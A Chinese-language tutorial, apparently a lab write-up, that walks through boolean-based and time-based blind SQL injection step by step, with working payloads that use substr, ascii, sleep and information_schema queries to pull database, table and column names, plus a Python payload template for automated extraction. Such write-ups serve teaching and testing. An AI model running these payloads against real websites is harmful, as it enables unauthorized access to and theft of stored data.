一、boolen盲注和时间盲注

一、boolen盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,布尔盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

二、boolen盲注过程

1、输入id,是否有注入点

输入?id=1后,显示如图

2、输入?id=1'后,发现没有回显

3、判断字段数,?id=1' order by 3--+, 显示You are in...

4、联合查询, ?id=1' union select 1,2,3--+

通过以上尝试,猜测有可能是boolen盲注

5、猜测数据库的长度

最终猜长度为8

6、获取数据库名称

通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。

尝试截取,

输入:?id=1' and substr(database(),1,1)='s'--+

发现截取到一个字符为's'

选择用python破解字段为's'

7、获取表名

测试表名长度输入:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

获取表名

选择python破解

8、getcolumn获取字段名

使用python脚本获取字段名(脚本中payload内容要修改)

9、获取具体数据

依旧选用python脚本破解

二、时间盲注

1、判断注入点

输入:?id=1' and if(ascii(substr(database(),1,1))>110,sleep(3),0)--+

2、猜测数据库长度

输入:?id=1' and if(length(database())=8,sleep(3),0)--+

如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。

3、获取数据库名称

首先测试输入:?id=1'and if(ascii(substr((select database()),1,1))='s',sleep(3),0)--+

如果数据库名称第一个字符是's',则页面沉睡3秒,否则没有反应。

使用python脚本来获取(时间会比较慢)

4、获取表名

首先测试输入:?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+

此页面没有沉睡,说明表名首字母ascii值不为97

用python脚本获取表名

5、获取字段名

使用python脚本讲payload内容修改一下

"1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)

6、获取数据

时间盲注的优先级不高,当字符数字注入、联合注入、报错注入、boolen盲注都不能使用时,可以考虑时间盲注

从python脚本可发现效率低。

相关推荐
姓刘的哦25 分钟前
Qt中的QWebEngineView
数据库·c++·qt
心随_风动1 小时前
Ubuntu 文件复制大师:精通cp命令完整指南
数据库·ubuntu·postgresql
不要再敲了1 小时前
JDBC从入门到面试:全面掌握Java数据库连接技术
java·数据库·面试
恣艺4 小时前
Redis列表(List):实现队列/栈的利器,底层原理与实战
数据库·redis·list
秋难降4 小时前
零基础学习SQL(十一):SQL 索引结构|从 B+Tree 到 Hash,面试常问的 “为啥选 B+Tree” 有答案了
数据库·后端·mysql
代码的余温5 小时前
Linux内核调优实战指南
linux·服务器·数据库
almighty275 小时前
C# DataGridView表头自定义设置全攻略
数据库·c#·winform·datagridview·自定义表头
ljh5746491195 小时前
mysql 必须在逗号分隔字符串和JSON字段之间二选一,怎么选
数据库·mysql·json
论迹5 小时前
【Redis】-- 持久化
数据库·redis·缓存
getdu5 小时前
Redis面试相关
数据库·redis·面试